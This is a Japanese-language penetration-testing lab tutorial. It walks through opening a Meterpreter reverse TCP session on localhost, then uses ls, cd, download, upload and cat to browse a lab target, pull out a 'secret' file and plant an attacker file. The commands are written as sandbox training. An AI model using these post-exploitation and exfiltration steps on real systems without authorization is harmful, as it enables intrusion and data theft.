はじめに
この実験では、Metasploit Framework の一部である高度なペイロード、Meterpreter を使用して、ターゲットのファイルシステムと対話するための基本的なテクニックを学びます。ポストエクスプロイトはペネトレーションテストの重要なフェーズであり、ファイルシステムをナビゲートし、機密ファイルをダウンロードし、独自のツールやスクリプトをアップロードできることは不可欠なスキルです。
Meterpreter セッションを確立するプロセスを順を追って説明し、その後、ls、cd、download、upload、cat などのコアコマンドを使用して、侵害されたシステム上のファイルを探索および操作します。
ls コマンドでファイルとディレクトリを一覧表示する
このステップでは、まず Meterpreter セッションを確立し、次に ls コマンドを使用してターゲットシステムのファイルを一覧表示します。セットアップスクリプトは、ペイロード (payload.elf) とリスナー設定ファイル (listener.rc) を既に作成しています。
まず、Metasploit リスナーを開始します。これは、ペイロードからの着信接続を待ち受けます。-r フラグを使用してリソースファイルをロードし、セットアップを自動化します。
ターミナルを開き、次のコマンドを実行します。
msfconsole -r listener.rc
Metasploit コンソールが起動し、ハンドラーがバックグラウンドジョブとして実行されているのが表示されます。出力は次のようになります。
[*] Msfconsole tip: Use the resource command to run a script of
console commands.
...
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
msf6 >
次に、リスナーに接続するためにペイロードを実行する必要があります。ターミナルタブバーの "+" アイコンをクリックして、新しいターミナルを開きます。この新しいターミナルで、~/project ディレクトリにあるペイロードファイルを実行します。
./payload.elf
このコマンドは何も出力しません。最初のターミナル(msfconsole を実行している方)に戻ってください。セッションが開かれたことを示すメッセージが表示されるはずです。
[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400
msf6 > sessions -i 1
[*] Starting interaction with 1...
meterpreter >
注意:セッションに自動的に移行しない場合は、
sessionsでアクティブなセッションを一覧表示し、sessions -i <ID>(例:sessions -i 1)を使用してセッションと対話できます。
これで Meterpreter セッションに入りました。meterpreter > プロンプトが表示されていることがその証拠です。ここで入力するコマンドはすべてターゲットマシン上で実行されます。ターゲットの現在の作業ディレクトリ内のファイルを一覧表示するために ls コマンドを使用しましょう。
ls
これにより、ターゲットの現在の作業ディレクトリ内のファイルとディレクトリが一覧表示されます。
meterpreter > ls
Listing: /home/labex/project
============================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100755/rwxr-xr-x 10152 fil rwx/- payload.elf
100644/rw-r--r-- 100 fil rw-/- listener.rc
cd コマンドでディレクトリを変更する
このステップでは、Meterpreter 内の cd (change directory) コマンドを使用して、ターゲットのファイルシステムをナビゲートする方法を学びます。これは標準の Linux cd コマンドと同様に機能します。
セットアップスクリプトは、ターゲットシステム上の /tmp/victim_files にディレクトリを作成しました。/tmp ディレクトリに移動しましょう。
cd /tmp
コマンド自体は何も出力しません。ディレクトリを変更したことを確認するために、pwd (print working directory) コマンドを使用できます。
pwd
出力には、ターゲットマシン上の現在のディレクトリが表示されます。
meterpreter > pwd
/tmp
/tmp ディレクトリにいるので、ls でその内容を一覧表示して victim_files ディレクトリを見つけましょう。
ls
/tmp 内の他のファイルやディレクトリの中に victim_files ディレクトリが表示されるはずです。
meterpreter > ls
Listing: /tmp
============
Mode Size Type Perms Name
---- ---- ---- ----- ----
...
40777/rwxrwxrwx 4096 dir rwx/- victim_files
...
download コマンドでターゲットからファイルをダウンロードする
このステップでは、ターゲットシステムから自分のマシンにファイルをダウンロードします。これは、データを外部に持ち出すための重要なテクニックです。download コマンドを使用します。
まず、前のステップで見つけた victim_files ディレクトリに移動しましょう。
cd victim_files
次に、このディレクトリ内のファイルを一覧表示して、ターゲットファイルを見つけます。
ls
セットアップスクリプトによって作成された secret_notes.txt ファイルが表示されるはずです。
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
次に、このファイルをローカルの ~/project ディレクトリにダウンロードします。構文は download <file_on_target> です。デフォルトでは、現在のローカルディレクトリにダウンロードされます。
download secret_notes.txt
ダウンロードが成功したことを示す確認メッセージが表示されるはずです。
[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt
確認するために、新しいターミナルを開く(または以前に開いた 2 番目のターミナルを使用する)と、ローカルマシンの ~/project ディレクトリ内のファイルを一覧表示できます。
ls ~/project
ファイルリストに secret_notes.txt が表示されるはずです。
upload コマンドでターゲットにファイルをアップロードする
このステップでは、upload コマンドを使用して、自分のマシンからターゲットシステムにファイルをアップロードする方法を学びます。これは、ツール、スクリプト、またはその他のペイロードをターゲットに配置するのに役立ちます。
まず、アップロードするためにローカルマシンにファイルが必要です。作成しましょう。ローカルシェルターミナル(Meterpreter セッションではありません)で、次のコマンドを実行して attacker_file.txt という名前のファイルを作成します。
echo "attacker data" > ~/project/attacker_file.txt
次に、Meterpreter セッションに戻ります。ターゲット上の /tmp/victim_files ディレクトリにいるはずです。ローカルの ~/project ディレクトリから attacker_file.txt をターゲットの現在のディレクトリにアップロードします。
構文は upload <local_file_path> です。
upload /home/labex/project/attacker_file.txt
アップロードが成功したことを確認するメッセージが表示されます。
[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt
ファイルがターゲット上にあることを確認するには、Meterpreter セッションで ls を実行します。
ls
secret_notes.txt と新しくアップロードした attacker_file.txt の両方が表示されるはずです。
meterpreter > ls
Listing: /tmp/victim_files
=========================
Mode Size Type Perms Name
---- ---- ---- ----- ----
100644/rw-r--r-- 14 fil rw-/- attacker_file.txt
100644/rw-r--r-- 37 fil rw-/- secret_notes.txt
cat コマンドでテキストファイルのコンテンツを表示する
この最終ステップでは、Meterpreter の cat コマンドを使用して、ファイルをダウンロードする前にターゲットのファイルシステム上のファイルの内容を直接表示します。
Meterpreter セッション内で、ターゲット上の /tmp/victim_files ディレクトリにいるはずです。
まず、元のファイル secret_notes.txt の内容を表示しましょう。
cat secret_notes.txt
コマンドは、ファイルの内容をコンソールに直接出力します。
meterpreter > cat secret_notes.txt
This is a secret file from the target.
次に、アップロードしたファイル attacker_file.txt の内容を表示して、正しく転送されたことを確認しましょう。
cat attacker_file.txt
ローカルマシンで作成したテキストが表示されるはずです。
meterpreter > cat attacker_file.txt
attacker data
このコマンドは、ターゲットシステム上の設定ファイル、ログ、またはスクリプトをすばやく検査するのに非常に役立ちます。
まとめ
この実験を完了したこと、おめでとうございます!ターゲットのファイルシステムと対話するための基本的な Meterpreter コマンドを学びました。
Meterpreter セッションを確立し、以下の主要なポストエクスプロイトコマンドを練習しました。
ls: ファイルとディレクトリを一覧表示します。cd: ファイルシステムを移動します。pwd: 現在の作業ディレクトリを特定します。download: ターゲットから自分のマシンにファイルを持ち出します。upload: 自分のマシンからターゲットにファイルを配置します。cat: ターゲット上のテキストファイルのコンテンツを直接表示します。
これらのコマンドを習得することは、Metasploit Framework を習熟し、効果的なペネトレーションテストを実行するための基本的なステップです。


